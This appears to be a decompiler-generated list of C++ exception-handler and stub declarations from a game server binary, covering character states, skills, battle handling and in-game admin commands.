_EXCEPTION_DISPOSITION __cdecl _ehhandler___0AbstateListInObject_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175825(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__asl_AbstateSet_AbstateListInObject_AbnormalStateContainer__QAEEPAVShineObject_ShineObjectClass__GHPAUAbStateStr_AbState_AbnormalStateDictionary__0KHHHW4EnchantFrom_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176116(int a1); // void __usercall _L176117(int a1); // void __usercall _L176118(int a1); // void __usercall _L176119(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sasa_Routine_SubAbnormalStateActorAreaDamage_AbnormalStateContainer__UAEEPAVAbstateElementInObject_2_PAVShineMobileObject_ShineObjectClass__W4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176458(int a1); // void __usercall _L176576(int a1); // void __usercall _L176577(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ase_Routine_AbnormalStatePartyEnchant_AbnormalStateContainer__UAEEPAVShineMobileObject_ShineObjectClass__GPAVAbstateElementInObject_2_PAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176702(int a1); // void __usercall _L176703(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ase_Routine_AbnormalStateGuildAcademyMasterEnchant_AbnormalStateContainer__UAEEPAVShineMobileObject_ShineObjectClass__GPAVAbstateElementInObject_2_PAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AbnormalStateList_AbnormalStateContainer__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L147205(int a1); // void __usercall _L147206(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AbState_AbnormalStateDictionary__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154203(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__uib_Effect_UseItemJustReviveAtDead_UseEffect__UAEXPAVShineObject_ShineObjectClass__PAUItemTotalInformation__PBUUIE_Functions_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148982(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ciee_AfterLoginComplete_ChargedItemEffectElement_ChargedItemEffectList__QAEXGPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L149026(int a1); // void __usercall _L149027(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ChargedEffectAfterLoginComplete_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Copy___basic_string_DU__char_traits_D_std__V__allocator_D_2__std__IAEXII_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151779(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0logic_error_std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151886(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_VAbstateBuffer_AbnormalStateShelter__V__allocator_VAbstateBuffer_AbnormalStateShelter___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_VAbstateElementInObject_AbnormalStateContainer__V__allocator_VAbstateElementInObject_AbnormalStateContainer___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAVAbstateBuffer_AbnormalStateShelter__PAV12_V__allocator_VAbstateBuffer_AbnormalStateShelter___std___std__YAPAVAbstateBuffer_AbnormalStateShelter__PAV12_00AAV__allocator_VAbstateBuffer_AbnormalStateShelter___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAVAbstateBuffer_AbnormalStateShelter__IV12_V__allocator_VAbstateBuffer_AbnormalStateShelter___std___std__YAXPAVAbstateBuffer_AbnormalStateShelter__IABV12_AAV__allocator_VAbstateBuffer_AbnormalStateShelter___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VAbstateBuffer_AbnormalStateShelter__V__allocator_VAbstateBuffer_AbnormalStateShelter___std___std__IAEXViterator_12_IABVAbstateBuffer_AbnormalStateShelter___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L153509(int a1); // void __usercall _L153510(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___AAbstateShelter_AbnormalStateShelter__QAEAAVAbstateBuffer_1_K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170441(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ListIter_AmpCmdArgument__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175511(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_NPCRevive_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170559(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AmpersandCommand__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172118(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_Dist_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173791(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_WeddingGuestEnter_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171042(int a1); // void __usercall _L171107(int a1); // void __usercall _L171108_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_Timer_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171190(int a1); // void __usercall _L171191(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_NoticeZone_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171304_0(int a1); // void __usercall _L171305_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_OXBlock_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171678(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_summonplayer_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171964(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_Setabstate_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174488(int a1); // void __usercall _L172738(int a1); // void __usercall _L172739(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_SuicideAllMob_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172913(int a1); // void __usercall _L174201(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_StartGuildTournament_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174263(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_FlagCapture_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173282(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_BonusItem_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174048(int a1); // void __usercall _L174049(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_ShowPlayerID_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175354(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UAmpersandCommandElement____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175399(int a1); // void __usercall _L175400(int a1); // void __usercall _L175401(int a1); // void __usercall _L175402(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1KQElement_KingdomQuest__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175419(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_PlayerDistribute_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L175591(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_ShowAllChar_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176089(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_VFieldMap____QAEPAVFieldMap__P82_AEHPAV1_GPAV2__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176151(int a1); // void __usercall _L176152(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_KQReward_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176180(int a1); // void __usercall _L176181(int a1); // void __usercall _L176182(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_KingdomQuest_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176332(int a1); // void __usercall _L176333(int a1); // void __usercall _L178243(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__V__allocator_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2__std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179274(int a1); // void __usercall _L179275(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ac_IgnoreSkillCoolTime_AmpersandCommand__QAEXGPAVShinePlayer_ShineObjectClass__HPAY0CB_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179714(int a1); // void __usercall _L179715(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AmpersandCommand__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179884(int a1); // void __usercall _L179885(int a1); // void __usercall _L179886(int a1); // void __usercall _L179887(int a1); // void __usercall _L179888(int a1); // void __usercall _L179889(int a1); // void __usercall _L179890(int a1); // void __usercall _L179891(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ListIter_AmpCmdArgument__QAE_GPAVShinePlayer_ShineObjectClass__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L181664(int a1); // void __usercall _L181665(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_AdminCommand_ShinePlayer_ShineObjectClass__UAEXPADH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159108(int a1); // void __usercall _L159109(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0AxialListPacketBroadcast4ItemPickUp__QAE_PAVProtocolPacket__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159143(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AxialListPacketBroadcast4ItemPickUp__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159409(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ali_Work_AxialListShowID__UAEEPAVShineObject_ShineObjectClass__0K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173113(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AmpersandCommand_LevelUp_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174507(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SkillEnchant_ShineMobileObject_ShineObjectClass__UAEEPAVShineObject_2_PAUSmashArgument__PAUBattleObjectStruct_BattleObjectGroup__PAEE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L169908(int a1); // void __usercall _L169909(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mobile_Broadcast2ndTarget_ShineMobileObject_ShineObjectClass__UAEXPAVShineObject_2_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L170258(int a1); // void __usercall _L170259(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_skillsmash_ShineMobileObject_ShineObjectClass__UAEHPAVShineObject_2_PAUSmashArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173915(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Schedule_SwingStart_ShinePlayer_ShineObjectClass__AAE_AW4TS_ReturnType_TimeScheduler_12_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172648(int a1); // void __usercall _L172649(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SwingStart_ShineMobileObject_ShineObjectClass__QAEXPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174918(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BAT_BASHSTART_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171374(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_AppendAggro_ShineServant_ShineObjectClass__UAEXPAVShineObject_2_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171411(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NextSaveExperience_ShinePlayer_ShineObjectClass__QAE_KXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171881(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_BAT_SMASH_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172202(int a1); // void __usercall _L172203(int a1); // void __usercall _L172204(int a1); // void __usercall _L172205(int a1); // void __usercall _L172772(int a1); // void __usercall _L172773(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_SwingDamage_ShineMobileObject_ShineObjectClass__UAEEPAVShineObject_2_W4ABSTATEINDEX__HHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174580(int a1); // void __usercall _L174602(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_KilledBy_ShineMobileObject_ShineObjectClass__UAEXPAVShineObject_2_HHK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174729(int a1); // void __usercall _L174730(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_KilledBy_ShineMob_ShineObjectClass__UAEXPAVShineObject_2_HHK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VAbstateElementInObject_AbnormalStateContainer__V__allocator_VAbstateElementInObject_AbnormalStateContainer___std___std__IAEXViterator_12_IABVAbstateElementInObject_AbnormalStateContainer___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L177017_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_VAbstateElementInObject_AbnormalStateContainer__V__allocator_VAbstateElementInObject_AbnormalStateContainer___std___std__QAEXIVAbstateElementInObject_AbnormalStateContainer___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L177172_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_VAbstateElementInObject_AbnormalStateContainer__V__allocator_VAbstateElementInObject_AbnormalStateContainer___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L177250_0(int a1); // void __usercall _L177251_0(int a1); // void __usercall _L168045(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sds_Initialize_SkillDamageSender_SkillEffectApply__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164873(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0BattleObjectList_BattleObjectGroup__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163223(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VBattleObject_BattleObjectGroup____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164045(int a1); // void __usercall _L164046(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sds_Finish_SkillDamageSender_SkillEffectApply__QAEXPAUSkillBlastEffect_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166064(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD__V__allocator_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD__V__allocator_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD___std___std__IAEXViterator_12_IABUSkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166580(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbec_SkillCancel_SkillBlastEffectContainer_SkillEffectApply__QAEXPAVShineMobileObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_USkillBlastEffect_SkillEffectApply__V__allocator_USkillBlastEffect_SkillEffectApply___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD__V__allocator_USkillDamage_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_USkillBlastEffect_SkillEffectApply__V__allocator_USkillBlastEffect_SkillEffectApply___std___std__IAEXViterator_12_IABUSkillBlastEffect_SkillEffectApply___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168076(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0SkillBlastEffectContainer_SkillEffectApply__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168236(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sbec_Store_SkillBlastEffectContainer_SkillEffectApply__QAEXGPBUSkillDataIndex_SkillDataBox__PAVShineMobileObject_ShineObjectClass__PAVShineObject_6_PAUSHINE_XY_TYPE__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168478(int a1); // void __usercall _L168479(int a1); // void __usercall _L168480(int a1); // void __usercall _L75604(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Incsize___list_VBlockingDistribute_BlockDistribute__V__allocator_VBlockingDistribute_BlockDistribute___std___std__IAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L76069(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__bdl_New_BlockingDistributeList_BlockDistribute__QAEPAVBlockingDistribute_2_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L171355(int a1); // void __usercall _L171356(int a1); // void __usercall _L171357(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1AttackElement4Mob_MobAttackSequence__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L180365(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_RegenComplete_ShineServant_ShineObjectClass__UAEXG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172801(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_2Roumen_ShinePlayer_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172937(int a1); // void __usercall _L172938_0(int a1); // void __usercall _L172939(int a1); // void __usercall _L173674(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0BriefInfoExchangeAbstate_BriefInfoExchanger__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173779(int a1); // void __usercall _L173780(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ChangeBriefInfo_ShinePlayer_ShineObjectClass__UAEXPAVItemInventoryCell__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L173897(int a1); // void __usercall _L173898(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cbd_DistanceSquar_CalculateBroadcastDistance__QAEKPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174081(int a1); // void __usercall _L174082(int a1); // void __usercall _L174083(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_MakeMiniHouse_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174444(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ConnectFromWhere_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174514(int a1); // void __usercall _L174515(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_GhostBan_ShinePlayer_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); int __cdecl _L174974(); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mas_Find_MobAttackSequence__AAEPAUAttackElement4Mob_1_G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176305(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UEnemy_HitMeList____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176361(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_ULockedCell_InventoryLocking____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176387(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UMobHuntElement_HuntLog____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176638(int a1); // void __usercall _L176655(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_LoginInit_ShinePlayer_ShineObjectClass__AAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L178650(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_VObserver__V__allocator_VObserver___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_VObserver__V__allocator_VObserver___std___std__IAEXViterator_12_IABVObserver___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179389(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_VObserver__V__allocator_VObserver___std___std__QAEXIVObserver___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L179989(int a1); // void __usercall _L179990(int a1); // void __usercall _L180132(int a1); // void __usercall _L180397(int a1); // void __usercall _L180583(int a1); // void __usercall _L180399(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MAP_LOGINCOMPLETE_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L146210(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0RollBackPosCallBackEvent__QAE_PAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L156242(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__csl_Store_CharaterSkillList__QAEXPAUPROTO_NC_CHAR_SKILL_CMD___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154178(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__csl_EmpowerAlloc_CharaterSkillList__QAEEPAUPROTO_NC_SKILL_EMPOWALLOC_REQ__PAUSKILL_EMPOWER___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L155260(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UCharSkill_CharaterSkillList__V__allocator_UCharSkill_CharaterSkillList___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UCharSkill_CharaterSkillList__V__allocator_UCharSkill_CharaterSkillList___std___std__IAEXViterator_12_IABUCharSkill_CharaterSkillList___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION 